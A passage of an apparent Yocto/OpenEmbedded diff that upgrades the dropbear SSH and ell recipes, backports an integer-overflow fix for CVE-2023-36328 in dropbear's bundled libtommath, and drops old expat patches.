+ # Remove /var/run to avoid QA error
+ rm -rf ${D}${localstatedir}/run
+}
+BBCLASSEXTEND = "native nativesdk"
+
+CVE_PRODUCT += "d-bus_project:d-bus freedesktop:dbus freedesktop:libdbus"
diff --git a/meta/recipes-core/dropbear/dropbear.inc b/meta/recipes-core/dropbear/dropbear.inc
deleted file mode 100644
index 080ee26b2e..0000000000
--- a/meta/recipes-core/dropbear/dropbear.inc
+++ /dev/null
@@ -1,122 +0,0 @@
-SUMMARY = "A lightweight SSH and SCP implementation"
-HOMEPAGE = "http://matt.ucc.asn.au/dropbear/dropbear.html"
-SECTION = "console/network"
-
-# some files are from other projects and have others license terms:
-# public domain, OpenSSH 3.5p1, OpenSSH3.6.1p2, PuTTY
-LICENSE = "MIT & BSD-3-Clause & BSD-2-Clause & PD"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=25cf44512b7bc8966a48b6b1a9b7605f"
-
-DEPENDS = "zlib virtual/crypt"
-RPROVIDES_${PN} = "ssh sshd"
-RCONFLICTS_${PN} = "openssh-sshd openssh"
-
-DEPENDS += "${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
-
-SRC_URI = "http://matt.ucc.asn.au/dropbear/releases/dropbear-${PV}.tar.bz2 \
- file://0001-urandom-xauth-changes-to-options.h.patch \
- file://init \
- file://dropbearkey.service \
- file://dropbear@.service \
- file://dropbear.socket \
- file://dropbear.default \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'disable-weak-ciphers', 'file://dropbear-disable-weak-ciphers.patch', '', d)} "
-
-PAM_SRC_URI = "file://0005-dropbear-enable-pam.patch \
- file://0006-dropbear-configuration-file.patch \
- file://dropbear"
-
-PAM_PLUGINS = "libpam-runtime \
- pam-plugin-deny \
- pam-plugin-permit \
- pam-plugin-unix \
- "
-RDEPENDS_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_PLUGINS}', '', d)}"
-
-inherit autotools update-rc.d systemd
-
-CVE_PRODUCT = "dropbear_ssh"
-
-INITSCRIPT_NAME = "dropbear"
-INITSCRIPT_PARAMS = "defaults 10"
-
-SYSTEMD_SERVICE_${PN} = "dropbear.socket"
-
-SBINCOMMANDS = "dropbear dropbearkey dropbearconvert"
-BINCOMMANDS = "dbclient ssh scp"
-EXTRA_OEMAKE = 'MULTI=1 SCPPROGRESS=1 PROGRAMS="${SBINCOMMANDS} ${BINCOMMANDS}"'
-
-PACKAGECONFIG ?= "disable-weak-ciphers"
-PACKAGECONFIG[system-libtom] = "--disable-bundled-libtom,--enable-bundled-libtom,libtommath libtomcrypt"
-PACKAGECONFIG[disable-weak-ciphers] = ""
-
-EXTRA_OECONF += "\
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--enable-pam', '--disable-pam', d)}"
-
-# This option appends to CFLAGS and LDFLAGS from OE
-# This is causing [textrel] QA warning
-EXTRA_OECONF += "--disable-harden"
-
-do_install() {
- install -d ${D}${sysconfdir} \
- ${D}${sysconfdir}/init.d \
- ${D}${sysconfdir}/default \
- ${D}${sysconfdir}/dropbear \
- ${D}${bindir} \
- ${D}${sbindir} \
- ${D}${localstatedir}
-
- install -m 0644 ${WORKDIR}/dropbear.default ${D}${sysconfdir}/default/dropbear
-
- install -m 0755 dropbearmulti ${D}${sbindir}/
-
- for i in ${BINCOMMANDS}
- do
- # ssh and scp symlinks are created by update-alternatives
- if [ $i = ssh ] || [ $i = scp ]; then continue; fi
- ln -s ${sbindir}/dropbearmulti ${D}${bindir}/$i
- done
- for i in ${SBINCOMMANDS}
- do
- ln -s ./dropbearmulti ${D}${sbindir}/$i
- done
- sed -e 's,/etc,${sysconfdir},g' \
- -e 's,/usr/sbin,${sbindir},g' \
- -e 's,/var,${localstatedir},g' \
- -e 's,/usr/bin,${bindir},g' \
- -e 's,/usr,${prefix},g' ${WORKDIR}/init > ${D}${sysconfdir}/init.d/dropbear
- chmod 755 ${D}${sysconfdir}/init.d/dropbear
- if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
- install -d ${D}${sysconfdir}/pam.d
- install -m 0644 ${WORKDIR}/dropbear ${D}${sysconfdir}/pam.d/
- fi
-
- # deal with systemd unit files
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/dropbearkey.service ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/dropbear@.service ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/dropbear.socket ${D}${systemd_unitdir}/system
- sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
- -e 's,@BINDIR@,${bindir},g' \
- -e 's,@SBINDIR@,${sbindir},g' \
- ${D}${systemd_unitdir}/system/dropbear.socket ${D}${systemd_unitdir}/system/*.service
-}
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "20"
-ALTERNATIVE_${PN} = "${@bb.utils.filter('BINCOMMANDS', 'scp ssh', d)}"
-
-ALTERNATIVE_TARGET = "${sbindir}/dropbearmulti"
-
-pkg_postrm_append_${PN} () {
- if [ -f "${sysconfdir}/dropbear/dropbear_rsa_host_key" ]; then
- rm ${sysconfdir}/dropbear/dropbear_rsa_host_key
- fi
- if [ -f "${sysconfdir}/dropbear/dropbear_dss_host_key" ]; then
- rm ${sysconfdir}/dropbear/dropbear_dss_host_key
- fi
-}
-
-FILES_${PN} += "${bindir}"
diff --git a/meta/recipes-core/dropbear/dropbear/0001-urandom-xauth-changes-to-options.h.patch b/meta/recipes-core/dropbear/dropbear/0001-urandom-xauth-changes-to-options.h.patch
index 684641dcbd..99adcfd770 100644
--- a/meta/recipes-core/dropbear/dropbear/0001-urandom-xauth-changes-to-options.h.patch
+++ b/meta/recipes-core/dropbear/dropbear/0001-urandom-xauth-changes-to-options.h.patch
@@ -6,10 +6,10 @@ Upstream-Status: Inappropriate [configuration]
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/default_options.h b/default_options.h
-index 3b75eb8..1fd8082 100644
+index 349338c..5ffac25 100644
--- a/default_options.h
+++ b/default_options.h
-@@ -243,7 +243,7 @@ Homedir is prepended unless path begins with / */
+@@ -289,7 +289,7 @@ group1 in Dropbear server too */
/* The command to invoke for xauth when using X11 forwarding.
* "-q" for quiet */
@@ -17,7 +17,7 @@ index 3b75eb8..1fd8082 100644
+#define XAUTH_COMMAND "xauth -q"
- /* if you want to enable running an sftp server (such as the one included with
+ /* If you want to enable running an sftp server (such as the one included with
--
-1.7.11.7
+2.25.1
diff --git a/meta/recipes-core/dropbear/dropbear/0005-dropbear-enable-pam.patch b/meta/recipes-core/dropbear/dropbear/0005-dropbear-enable-pam.patch
index 857681520c..32c3ea5f08 100644
--- a/meta/recipes-core/dropbear/dropbear/0005-dropbear-enable-pam.patch
+++ b/meta/recipes-core/dropbear/dropbear/0005-dropbear-enable-pam.patch
@@ -15,10 +15,10 @@ Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/default_options.h b/default_options.h
-index 3b75eb8..8617cd0 100644
+index 0e3d027..349338c 100644
--- a/default_options.h
+++ b/default_options.h
-@@ -179,7 +179,7 @@ group1 in Dropbear server too */
+@@ -210,7 +210,7 @@ group1 in Dropbear server too */
/* Authentication Types - at least one required.
RFC Draft requires pubkey auth, and recommends password */
@@ -27,16 +27,15 @@ index 3b75eb8..8617cd0 100644
/* Note: PAM auth is quite simple and only works for PAM modules which just do
* a simple "Login: " "Password: " (you can edit the strings in svr-authpam.c).
-@@ -187,7 +187,7 @@ group1 in Dropbear server too */
+@@ -218,7 +218,7 @@ group1 in Dropbear server too */
* but there's an interface via a PAM module. It won't work for more complex
* PAM challenge/response.
* You can't enable both PASSWORD and PAM. */
-#define DROPBEAR_SVR_PAM_AUTH 0
+#define DROPBEAR_SVR_PAM_AUTH 1
- /* ~/.ssh/authorized_keys authentication */
- #define DROPBEAR_SVR_PUBKEY_AUTH 1
-
+ /* ~/.ssh/authorized_keys authentication.
+ * You must define DROPBEAR_SVR_PUBKEY_AUTH in order to use plugins. */
--
-2.1.4
+2.25.1
diff --git a/meta/recipes-core/dropbear/dropbear/CVE-2023-36328.patch b/meta/recipes-core/dropbear/dropbear/CVE-2023-36328.patch
new file mode 100644
index 0000000000..ec50d69816
--- /dev/null
+++ b/meta/recipes-core/dropbear/dropbear/CVE-2023-36328.patch
@@ -0,0 +1,144 @@
+From beba892bc0d4e4ded4d667ab1d2a94f4d75109a9 Mon Sep 17 00:00:00 2001
+From: czurnieden <czurnieden@gmx.de>
+Date: Fri, 8 Sep 2023 10:07:32 +0000
+Subject: [PATCH] Fix possible integer overflow
+
+CVE: CVE-2023-36328
+
+Upstream-Status: Backport [https://github.com/libtom/libtommath/commit/beba892bc0d4e4ded4d667ab1d2a94f4d75109a9]
+
+Signed-off-by: Yogita Urade <yogita.urade@windriver.com>
+---
+ libtommath/bn_mp_2expt.c | 4 ++++
+ libtommath/bn_mp_grow.c | 4 ++++
+ libtommath/bn_mp_init_size.c | 5 +++++
+ libtommath/bn_mp_mul_2d.c | 4 ++++
+ libtommath/bn_s_mp_mul_digs.c | 4 ++++
+ libtommath/bn_s_mp_mul_digs_fast.c | 4 ++++
+ libtommath/bn_s_mp_mul_high_digs.c | 4 ++++
+ libtommath/bn_s_mp_mul_high_digs_fast.c | 4 ++++
+ 8 files changed, 33 insertions(+)
+
+diff --git a/libtommath/bn_mp_2expt.c b/libtommath/bn_mp_2expt.c
+index 0ae3df1..ca6fbc3 100644
+--- a/libtommath/bn_mp_2expt.c
++++ b/libtommath/bn_mp_2expt.c
+@@ -12,6 +12,10 @@ mp_err mp_2expt(mp_int *a, int b)
+ {
+ mp_err err;
+
++ if (b < 0) {
++ return MP_VAL;
++ }
++
+ /* zero a as per default */
+ mp_zero(a);
+
+diff --git a/libtommath/bn_mp_grow.c b/libtommath/bn_mp_grow.c
+index 9e904c5..2b16826 100644
+--- a/libtommath/bn_mp_grow.c
++++ b/libtommath/bn_mp_grow.c
+@@ -9,6 +9,10 @@ mp_err mp_grow(mp_int *a, int size)
+ int i;
+ mp_digit *tmp;
+
++ if (size < 0) {
++ return MP_VAL;
++ }
++
+ /* if the alloc size is smaller alloc more ram */
+ if (a->alloc < size) {
+ /* reallocate the array a->dp
+diff --git a/libtommath/bn_mp_init_size.c b/libtommath/bn_mp_init_size.c
+index d622687..5fefa96 100644
+--- a/libtommath/bn_mp_init_size.c
++++ b/libtommath/bn_mp_init_size.c
+@@ -6,6 +6,11 @@
+ /* init an mp_init for a given size */
+ mp_err mp_init_size(mp_int *a, int size)
+ {
++
++ if (size < 0) {
++ return MP_VAL;
++ }
++
+ size = MP_MAX(MP_MIN_PREC, size);
+
+ /* alloc mem */
+diff --git a/libtommath/bn_mp_mul_2d.c b/libtommath/bn_mp_mul_2d.c
+index 87354de..2744163 100644
+--- a/libtommath/bn_mp_mul_2d.c
++++ b/libtommath/bn_mp_mul_2d.c
+@@ -9,6 +9,10 @@ mp_err mp_mul_2d(const mp_int *a, int b, mp_int *c)
+ mp_digit d;
+ mp_err err;
+
++ if (b < 0) {
++ return MP_VAL;
++ }
++
+ /* copy */
+ if (a != c) {
+ if ((err = mp_copy(a, c)) != MP_OKAY) {
+diff --git a/libtommath/bn_s_mp_mul_digs.c b/libtommath/bn_s_mp_mul_digs.c
+index 64509d4..2d2f5b0 100644
+--- a/libtommath/bn_s_mp_mul_digs.c
++++ b/libtommath/bn_s_mp_mul_digs.c
+@@ -16,6 +16,10 @@ mp_err s_mp_mul_digs(const mp_int *a, const mp_int *b, mp_int *c, int digs)
+ mp_word r;
+ mp_digit tmpx, *tmpt, *tmpy;
+
++ if (digs < 0) {
++ return MP_VAL;
++ }
++
+ /* can we use the fast multiplier? */
+ if ((digs < MP_WARRAY) &&
+ (MP_MIN(a->used, b->used) < MP_MAXFAST)) {
+diff --git a/libtommath/bn_s_mp_mul_digs_fast.c b/libtommath/bn_s_mp_mul_digs_fast.c
+index b2a287b..d6dd3cc 100644
+--- a/libtommath/bn_s_mp_mul_digs_fast.c
++++ b/libtommath/bn_s_mp_mul_digs_fast.c
+@@ -26,6 +26,10 @@ mp_err s_mp_mul_digs_fast(const mp_int *a, const mp_int *b, mp_int *c, int digs)
+ mp_digit W[MP_WARRAY];
+ mp_word _W;
+
++ if (digs < 0) {
++ return MP_VAL;
++ }
++
+ /* grow the destination as required */
+ if (c->alloc < digs) {
+ if ((err = mp_grow(c, digs)) != MP_OKAY) {
+diff --git a/libtommath/bn_s_mp_mul_high_digs.c b/libtommath/bn_s_mp_mul_high_digs.c
+index 2bb2a50..c9dd355 100644
+--- a/libtommath/bn_s_mp_mul_high_digs.c
++++ b/libtommath/bn_s_mp_mul_high_digs.c
+@@ -15,6 +15,10 @@ mp_err s_mp_mul_high_digs(const mp_int *a, const mp_int *b, mp_int *c, int digs)
+ mp_word r;
+ mp_digit tmpx, *tmpt, *tmpy;
+
++ if (digs < 0) {
++ return MP_VAL;
++ }
++
+ /* can we use the fast multiplier? */
+ if (MP_HAS(S_MP_MUL_HIGH_DIGS_FAST)
+ && ((a->used + b->used + 1) < MP_WARRAY)
+diff --git a/libtommath/bn_s_mp_mul_high_digs_fast.c b/libtommath/bn_s_mp_mul_high_digs_fast.c
+index a2c4fb6..afe3e4b 100644
+--- a/libtommath/bn_s_mp_mul_high_digs_fast.c
++++ b/libtommath/bn_s_mp_mul_high_digs_fast.c
+@@ -19,6 +19,10 @@ mp_err s_mp_mul_high_digs_fast(const mp_int *a, const mp_int *b, mp_int *c, int
+ mp_digit W[MP_WARRAY];
+ mp_word _W;
+
++ if (digs < 0) {
++ return MP_VAL;
++ }
++
+ /* grow the destination as required */
+ pa = a->used + b->used;
+ if (c->alloc < pa) {
+--
+2.35.5
diff --git a/meta/recipes-core/dropbear/dropbear/dropbear-disable-weak-ciphers.patch b/meta/recipes-core/dropbear/dropbear/dropbear-disable-weak-ciphers.patch
index b54581f17a..5c60868ed8 100644
--- a/meta/recipes-core/dropbear/dropbear/dropbear-disable-weak-ciphers.patch
+++ b/meta/recipes-core/dropbear/dropbear/dropbear-disable-weak-ciphers.patch
@@ -9,27 +9,23 @@ and we want to support the stong algorithms.
Upstream-Status: Inappropriate [configuration]
Signed-off-by: Joseph Reynolds <joseph.reynolds1@ibm.com>
-
---
- default_options.h | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
+ default_options.h | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/default_options.h b/default_options.h
-index 1aa2297..7ff1394 100644
+index d417588..bc5200f 100644
--- a/default_options.h
+++ b/default_options.h
-@@ -163,12 +163,12 @@ IMPORTANT: Some options will require "make clean" after changes */
+@@ -180,7 +180,7 @@ IMPORTANT: Some options will require "make clean" after changes */
* Small systems should generally include either curve25519 or ecdh for performance.
* curve25519 is less widely supported but is faster
- */
+ */
-#define DROPBEAR_DH_GROUP14_SHA1 1
+#define DROPBEAR_DH_GROUP14_SHA1 0
#define DROPBEAR_DH_GROUP14_SHA256 1
#define DROPBEAR_DH_GROUP16 0
#define DROPBEAR_CURVE25519 1
- #define DROPBEAR_ECDH 1
--#define DROPBEAR_DH_GROUP1 1
-+#define DROPBEAR_DH_GROUP1 0
-
- /* When group1 is enabled it will only be allowed by Dropbear client
- not as a server, due to concerns over its strength. Set to 0 to allow
+--
+2.25.1
+
diff --git a/meta/recipes-core/dropbear/dropbear/dropbearkey.service b/meta/recipes-core/dropbear/dropbear/dropbearkey.service
index c49053d57c..71a12a6110 100644
--- a/meta/recipes-core/dropbear/dropbear/dropbearkey.service
+++ b/meta/recipes-core/dropbear/dropbear/dropbearkey.service
@@ -11,3 +11,4 @@ Type=oneshot
ExecStart=@BASE_BINDIR@/mkdir -p ${DROPBEAR_RSAKEY_DIR}
ExecStart=@SBINDIR@/dropbearkey -t rsa -f ${DROPBEAR_RSAKEY_DIR}/dropbear_rsa_host_key
RemainAfterExit=yes
+Nice=10
diff --git a/meta/recipes-core/dropbear/dropbear_2020.80.bb b/meta/recipes-core/dropbear/dropbear_2020.80.bb
deleted file mode 100644
index 088c71cb99..0000000000
--- a/meta/recipes-core/dropbear/dropbear_2020.80.bb
+++ /dev/null
@@ -1,3 +0,0 @@
-require dropbear.inc
-
-SRC_URI[sha256sum] = "d927941b91f2da150b2033f1a88b6a47999bf0afb1493a73e9216cffdb5d7949"
diff --git a/meta/recipes-core/dropbear/dropbear_2022.83.bb b/meta/recipes-core/dropbear/dropbear_2022.83.bb
new file mode 100644
index 0000000000..528eff1a10
--- /dev/null
+++ b/meta/recipes-core/dropbear/dropbear_2022.83.bb
@@ -0,0 +1,132 @@
+SUMMARY = "A lightweight SSH and SCP implementation"
+HOMEPAGE = "http://matt.ucc.asn.au/dropbear/dropbear.html"
+DESCRIPTION = "Dropbear is a relatively small SSH server and client. It runs on a variety of POSIX-based platforms. Dropbear is open source software, distributed under a MIT-style license. Dropbear is particularly useful for "embedded"-type Linux (or other Unix) systems, such as wireless routers."
+SECTION = "console/network"
+
+# some files are from other projects and have others license terms:
+# public domain, OpenSSH 3.5p1, OpenSSH3.6.1p2, PuTTY
+LICENSE = "MIT & BSD-3-Clause & BSD-2-Clause & PD"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=25cf44512b7bc8966a48b6b1a9b7605f"
+
+DEPENDS = "zlib virtual/crypt"
+RPROVIDES:${PN} = "ssh sshd"
+RCONFLICTS:${PN} = "openssh-sshd openssh"
+
+SRC_URI = "http://matt.ucc.asn.au/dropbear/releases/dropbear-${PV}.tar.bz2 \
+ file://0001-urandom-xauth-changes-to-options.h.patch \
+ file://init \
+ file://dropbearkey.service \
+ file://dropbear@.service \
+ file://dropbear.socket \
+ file://dropbear.default \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'disable-weak-ciphers', 'file://dropbear-disable-weak-ciphers.patch', '', d)} \
+ file://CVE-2023-36328.patch \
+ "
+
+SRC_URI[sha256sum] = "bc5a121ffbc94b5171ad5ebe01be42746d50aa797c9549a4639894a16749443b"
+
+PAM_SRC_URI = "file://0005-dropbear-enable-pam.patch \
+ file://0006-dropbear-configuration-file.patch \
+ file://dropbear"
+
+PAM_PLUGINS = "libpam-runtime \
+ pam-plugin-deny \
+ pam-plugin-permit \
+ pam-plugin-unix \
+ "
+inherit autotools update-rc.d systemd
+
+CVE_PRODUCT = "dropbear_ssh"
+
+INITSCRIPT_NAME = "dropbear"
+INITSCRIPT_PARAMS = "defaults 10"
+
+SYSTEMD_SERVICE:${PN} = "dropbear.socket"
+
+SBINCOMMANDS = "dropbear dropbearkey dropbearconvert"
+BINCOMMANDS = "dbclient ssh scp"
+EXTRA_OEMAKE = 'MULTI=1 SCPPROGRESS=1 PROGRAMS="${SBINCOMMANDS} ${BINCOMMANDS}"'
+
+PACKAGECONFIG ?= "disable-weak-ciphers ${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
+PACKAGECONFIG[pam] = "--enable-pam,--disable-pam,libpam,${PAM_PLUGINS}"
+PACKAGECONFIG[system-libtom] = "--disable-bundled-libtom,--enable-bundled-libtom,libtommath libtomcrypt"
+PACKAGECONFIG[disable-weak-ciphers] = ""
+PACKAGECONFIG[enable-x11-forwarding] = ""
+
+# This option appends to CFLAGS and LDFLAGS from OE
+# This is causing [textrel] QA warning
+EXTRA_OECONF += "--disable-harden"
+
+# musl does not implement wtmp/logwtmp APIs
+EXTRA_OECONF:append:libc-musl = " --disable-wtmp --disable-lastlog"
+
+do_configure:append() {
+ echo "/* Dropbear features */" > ${B}/localoptions.h
+ if ${@bb.utils.contains('PACKAGECONFIG', 'enable-x11-forwarding', 'true', 'false', d)}; then
+ echo "#define DROPBEAR_X11FWD 1" >> ${B}/localoptions.h
+ fi
+}
+
+do_install() {
+ install -d ${D}${sysconfdir} \
+ ${D}${sysconfdir}/init.d \
+ ${D}${sysconfdir}/default \
+ ${D}${sysconfdir}/dropbear \
+ ${D}${bindir} \
+ ${D}${sbindir} \
+ ${D}${localstatedir}
+
+ install -m 0644 ${WORKDIR}/dropbear.default ${D}${sysconfdir}/default/dropbear
+
+ install -m 0755 dropbearmulti ${D}${sbindir}/
+
+ for i in ${BINCOMMANDS}
+ do
+ # ssh and scp symlinks are created by update-alternatives
+ if [ $i = ssh ] || [ $i = scp ]; then continue; fi
+ ln -s ${sbindir}/dropbearmulti ${D}${bindir}/$i
+ done
+ for i in ${SBINCOMMANDS}
+ do
+ ln -s ./dropbearmulti ${D}${sbindir}/$i
+ done
+ sed -e 's,/etc,${sysconfdir},g' \
+ -e 's,/usr/sbin,${sbindir},g' \
+ -e 's,/var,${localstatedir},g' \
+ -e 's,/usr/bin,${bindir},g' \
+ -e 's,/usr,${prefix},g' ${WORKDIR}/init > ${D}${sysconfdir}/init.d/dropbear
+ chmod 755 ${D}${sysconfdir}/init.d/dropbear
+ if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
+ install -d ${D}${sysconfdir}/pam.d
+ install -m 0644 ${WORKDIR}/dropbear ${D}${sysconfdir}/pam.d/
+ fi
+
+ # deal with systemd unit files
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/dropbearkey.service ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/dropbear@.service ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/dropbear.socket ${D}${systemd_system_unitdir}
+ sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
+ -e 's,@BINDIR@,${bindir},g' \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ ${D}${systemd_system_unitdir}/dropbear.socket ${D}${systemd_system_unitdir}/*.service
+}
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "20"
+ALTERNATIVE:${PN} = "${@bb.utils.filter('BINCOMMANDS', 'scp ssh', d)}"
+
+ALTERNATIVE_TARGET = "${sbindir}/dropbearmulti"
+
+pkg_postrm:${PN} () {
+ if [ -f "${sysconfdir}/dropbear/dropbear_rsa_host_key" ]; then
+ rm ${sysconfdir}/dropbear/dropbear_rsa_host_key
+ fi
+ if [ -f "${sysconfdir}/dropbear/dropbear_dss_host_key" ]; then
+ rm ${sysconfdir}/dropbear/dropbear_dss_host_key
+ fi
+}
+
+CONFFILES:${PN} = "${sysconfdir}/default/dropbear"
diff --git a/meta/recipes-core/ell/ell_0.32.bb b/meta/recipes-core/ell/ell_0.32.bb
deleted file mode 100644
index 07dc4d4cbb..0000000000
--- a/meta/recipes-core/ell/ell_0.32.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-SUMMARY = "Embedded Linux Library"
-DESCRIPTION = "The Embedded Linux Library (ELL) provides core, \
-low-level functionality for system daemons. It typically has no \
-dependencies other than the Linux kernel, C standard library, and \
-libdl (for dynamic linking). While ELL is designed to be efficient \
-and compact enough for use on embedded Linux platforms, it is not \
-limited to resource-constrained systems."
-SECTION = "libs"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=fb504b67c50331fc78734fed90fb0e09"
-
-DEPENDS = "dbus"
-
-inherit autotools pkgconfig
-
-SRC_URI = "https://mirrors.edge.kernel.org/pub/linux/libs/${BPN}/${BPN}-${PV}.tar.xz"
-SRC_URI[sha256sum] = "42fdb9e24ff561a101389d51445cab1ff7d55f5385dc22a05b0493088cf99e30"
-
-do_configure_prepend () {
- mkdir -p ${S}/build-aux
-}
diff --git a/meta/recipes-core/ell/ell_0.64.bb b/meta/recipes-core/ell/ell_0.64.bb
new file mode 100644
index 0000000000..c4f16905fd
--- /dev/null
+++ b/meta/recipes-core/ell/ell_0.64.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Embedded Linux Library"
+HOMEPAGE = "https://01.org/ell"
+DESCRIPTION = "The Embedded Linux Library (ELL) provides core, \
+low-level functionality for system daemons. It typically has no \
+dependencies other than the Linux kernel, C standard library, and \
+libdl (for dynamic linking). While ELL is designed to be efficient \
+and compact enough for use on embedded Linux platforms, it is not \
+limited to resource-constrained systems."
+SECTION = "libs"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=fb504b67c50331fc78734fed90fb0e09"
+
+DEPENDS = "dbus"
+
+inherit autotools pkgconfig
+
+SRC_URI = "https://mirrors.edge.kernel.org/pub/linux/libs/${BPN}/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "760f3901078409f66cadf1bb24c8bdc60f13d53f6dd66b88631221d2494f8405"
+
+do_configure:prepend () {
+ mkdir -p ${S}/build-aux
+}
diff --git a/meta/recipes-core/expat/expat/0001-Add-output-of-tests-result.patch b/meta/recipes-core/expat/expat/0001-Add-output-of-tests-result.patch
deleted file mode 100644
index c5c18ead74..0000000000
--- a/meta/recipes-core/expat/expat/0001-Add-output-of-tests-result.patch
+++ /dev/null
@@ -1,83 +0,0 @@
-From aa84835a00bfd65e784d58411e76f60658e939dc Mon Sep 17 00:00:00 2001
-From: Oleksandr Popovych <oleksandr.s.popovych@globallogic.com>
-Date: Tue, 18 Feb 2020 19:04:55 +0200
-Subject: [PATCH] Add output of tests result
-
-Added console output of testing results in form 'RESULT: TEST_NAME'.
-
-Changed verbose mode of test application set by '-v' ('--verbose')
-argument to CK_NORMAL.
-Added new supported argument '-vv' ('--extra-verbose') that changes
-verbose mode of test application to CK_VERBOSE. Results of each test
-are shown in output only if this mode is set.
-
-Upstream-Status: Denied
-
-This patch changes potentially deprecated feature that shoud be changed
-in upstream. [https://github.com/libexpat/libexpat/issues/382]
-
-Signed-off-by: Oleksandr Popovych <oleksandr.s.popovych@globallogic.com>
----
- tests/minicheck.c | 10 +++++++++-
- tests/runtests.c | 4 +++-
- 2 files changed, 12 insertions(+), 2 deletions(-)
-
-diff --git a/expat/tests/minicheck.c b/expat/tests/minicheck.c
-index a5a1efb..94fa412 100644
---- a/tests/minicheck.c
-+++ b/tests/minicheck.c
-@@ -164,6 +164,8 @@ srunner_run_all(SRunner *runner, int verbosity) {
- if (tc->setup != NULL) {
- /* setup */
- if (setjmp(env)) {
-+ if (verbosity >= CK_VERBOSE)
-+ printf("SKIP: %s\n", _check_current_function);
- add_failure(runner, verbosity);
- continue;
- }
-@@ -171,6 +173,8 @@ srunner_run_all(SRunner *runner, int verbosity) {
- }
- /* test */
- if (setjmp(env)) {
-+ if (verbosity >= CK_VERBOSE)
-+ printf("FAIL: %s\n", _check_current_function);
- add_failure(runner, verbosity);
- continue;
- }
-@@ -178,12 +182,16 @@ srunner_run_all(SRunner *runner, int verbosity) {
-
- /* teardown */
- if (tc->teardown != NULL) {
-- if (setjmp(env)) {
-+ if (setjmp(env)) {
-+ if (verbosity >= CK_VERBOSE)
-+ printf("PASS: %s\n", _check_current_function);
- add_failure(runner, verbosity);
- continue;
- }
- tc->teardown();
- }
-+ if (verbosity >= CK_VERBOSE)
-+ printf("PASS: %s\n", _check_current_function);
- }
- tc = tc->next_tcase;
- }
-diff --git a/tests/runtests.c b/expat/tests/runtests.c
-index 7791fe0..75724e5 100644
---- a/tests/runtests.c
-+++ b/tests/runtests.c
-@@ -11619,9 +11619,11 @@ main(int argc, char *argv[]) {
- for (i = 1; i < argc; ++i) {
- char *opt = argv[i];
- if (strcmp(opt, "-v") == 0 || strcmp(opt, "--verbose") == 0)
-- verbosity = CK_VERBOSE;
-+ verbosity = CK_NORMAL;
- else if (strcmp(opt, "-q") == 0 || strcmp(opt, "--quiet") == 0)
- verbosity = CK_SILENT;
-+ else if (strcmp(opt, "-vv") == 0 || strcmp(opt, "--extra-verbose") == 0)
-+ verbosity = CK_VERBOSE;
- else {
- fprintf(stderr, "runtests: unknown option '%s'\n", opt);
- return 2;
---
-2.17.1
diff --git a/meta/recipes-core/expat/expat/libtool-tag.patch b/meta/recipes-core/expat/expat/libtool-tag.patch
deleted file mode 100644
index 0a0aed23e5..0000000000
--- a/meta/recipes-core/expat/expat/libtool-tag.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From 10342e6b600858b091bc7771e454d9e06af06410 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 2 Nov 2017 18:20:57 +0800
-Subject: [PATCH] Add CC tag to build
-
-Add CC tag to build
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
----
- Makefile.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/Makefile.in b/Makefile.in
-index 9560a95..d444bd6 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -319,7 +319,7 @@ LIBCURRENT = @LIBCURRENT@
- LIBOBJS = @LIBOBJS@
- LIBREVISION = @LIBREVISION@
- LIBS = @LIBS@
--LIBTOOL = @LIBTOOL@
-+LIBTOOL = @LIBTOOL@ --tag CC
- LIPO = @LIPO@
- LN_S = @LN_S@
- LTLIBOBJS = @LTLIBOBJS@
---
-2.7.4
-
diff --git a/meta/recipes-core/expat/expat/run-ptest b/meta/recipes-core/expat/expat/run-ptest
index 1b39cec8e5..ff7986db3c 100644
--- a/meta/recipes-core/expat/expat/run-ptest
+++ b/meta/recipes-core/expat/expat/run-ptest
@@ -1,23 +1,9 @@
#!/bin/bash
-output=${1:-"expat_tests.log"} # default log file
-
-# logging function
-function testCheck() {
- testExec="$1"
- shift
- echo && echo ${testExec} && ./${testExec} "$@"
- error=$?
- result=$([[ ${error} -eq 0 ]] && echo "PASS" || echo "FAIL")
